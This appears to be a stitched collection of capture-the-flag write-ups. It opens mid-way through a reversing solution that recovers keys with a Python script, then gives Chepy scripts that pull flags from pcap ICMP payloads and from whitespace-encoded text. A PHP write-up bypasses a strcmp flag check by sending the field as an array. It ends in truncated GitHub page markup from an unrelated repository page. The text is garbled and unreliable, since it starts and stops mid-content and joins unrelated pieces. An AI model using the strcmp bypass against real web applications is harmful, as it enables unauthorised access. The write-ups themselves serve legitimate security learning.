(unsigned __int64)strlen_0(a1); ++j ) { if ( v6[j] != v7[j] ) v4 = 1; } return v4 == 0;}``` We do everything in reverse and get the last flag: ```pythonf = ['z', '!', '!', 'b', '6', '~', 'w', 'n', '&', '`']out = ''for i in f: out += chr((ord(i) ^ 0x14) - 2)print(out)``` `l33t hax0r` after that we get the flag: ```bashGive me a key!starwarsYou have passed the first test! Now I need another key!secret message this isNice work! You've passes the second test, we aren't done yet!l33t hax0rCongrats you finished! Here is your flag!auctf{w3lc0m3_to_R3_1021}```
[Chepy](https://github.com/securisec/chepy) ```from chepy import Chepy c = Chepy("loopback.pcap") flag = ( # read pcap c.read_pcap() # extract all ICMP payloads .pcap_payload("ICMP") # Because payloads repeat, extract only one .select_every_n(2) # pull the 16th byte of each payload which also repeats .loop_list("slice", {"start": 16, "end": 17}) # join payload to form PNG file .join_list(b"") # extract binary strings .extract_strings() # extract flag .search_ctf_flags(prefix="LLS"))print(flag)```
[Chepy](https://github.com/securisec/chepy) The challenge includes a file that has spaces and unicode spaces. ```from chepy import Chepyc = Chepy("whitepages.txt", "r")print( c.load_file() # replace unicode whitespace .find_replace("\\u2003", "0") # replace whitespace .find_replace(" ", "1") # decode binary .from_binary() # search flag .search_ctf_flags("LLS"))```
# PHPJuggler > PHP is here to entertain again! They’ve shown you magic tricks, disappearing acts, and now… juggling! This was the code of the PHP file```php"); echo($flag); }else{ echo("NOPE! Wrong flag."); } echo (""); } highlight_file(__FILE__); ?> <html><head> <title> PHP Juggler </title> </head> <body> <form action="#" method="POST"> Tell me the flag. <input type="text" name="flag"> <input type="submit" value="Submit"> </form></html>``` Tell me the flag. I submitted some random flags. I was reading TheHitchhiker's Guide to the Galaxy, So I have tried submittig the value "42" but it didn't work!![42](1.png) Then I read the code again, and saw `strcmp`!So instead of `flag=anything` if we pass `flag[]=anything`, the flag will become array. And in strcmp function it will return `NULL` and `NULL == 0` will be `true` so we will get the flag!![Flag](2.png) > #### LLS{php_dropped_the_ball_again}
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" /> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script> <title>Writeup-CTF/AUCTF/House of Madness at master · HaoJame/Writeup-CTF · GitHub</title> <meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)"> <meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6"> <meta name="request-id" content="C25E:345B:157DEA1:1608C98:64122154" data-pjax-transient="true"/><meta name="html-safe-nonce" content="08f1625a1bd94a07e710e2cc061401b8e6f2bbf450bec8365537dec9b5c0a566" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJDMjVFOjM0NUI6MTU3REVBMToxNjA4Qzk4OjY0MTIyMTU0IiwidmlzaXRvcl9pZCI6IjU0MDQwOTQ2MDEzMTY0MDk2ODQiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="e33eee7b402916768eb48ec7bb066cf0532c371af0d0605642a3e14d7ac325fc" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:253413964" data-turbo-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" /> <meta name="selected-link" value="repo_source" data-turbo-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I"> <meta name="octolytics-url" content="https://collector.github.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" /> <meta name="user-login" content=""> <meta name="viewport" content="width=device-width"> <meta name="description" content="Contribute to HaoJame/Writeup-CTF development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/8b313fe0e3a2316eae06f68a2366ae5f9718c62b46d73ea7dc13c709afda283e/HaoJame/Writeup-CTF" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="Writeup-CTF/AUCTF/House of Madness at master · HaoJame/Writeup-CTF" /><meta name="twitter:description" content="Contribute to HaoJame/Writeup-CTF development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/8b313fe0e3a2316eae06f68a2366ae5f9718c62b46d73ea7dc13c709afda283e/HaoJame/Writeup-CTF" /><meta property="og:image:alt" content="Contribute to HaoJame/Writeup-CTF development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="Writeup-CTF/AUCTF/House of Madness at master · HaoJame/Writeup-CTF" /><meta property="og:url" content="https://github.com/HaoJame/Writeup-CTF" /><meta property="og:description" content="Contribute to HaoJame/Writeup-CTF development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="hostname" content="github.com"> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS"> <meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload"> <meta name="turbo-cache-control" content="no-preview" data-turbo-transient=""> <meta data-hydrostats="publish"> <meta name="go-import" content="github.com/HaoJame/Writeup-CTF git https://github.com/HaoJame/Writeup-CTF.git"> <meta name="octolytics-dimension-user_id" content="24583124" /><meta name="octolytics-dimension-user_login" content="HaoJame" /><meta name="octolytics-dimension-repository_id" content="253413964" /><meta name="octolytics-dimension-repository_nwo" content="HaoJame/Writeup-CTF" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="253413964" /><meta name="octolytics-dimension-repository_network_root_nwo" content="HaoJame/Writeup-CTF" /> <link rel="canonical" href="https://github.com/HaoJame/Writeup-CTF/tree/master/AUCTF/House%20of%20Madness" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive"> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button> <div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <div class="flex-1"> Sign up </div> <div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div> <div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 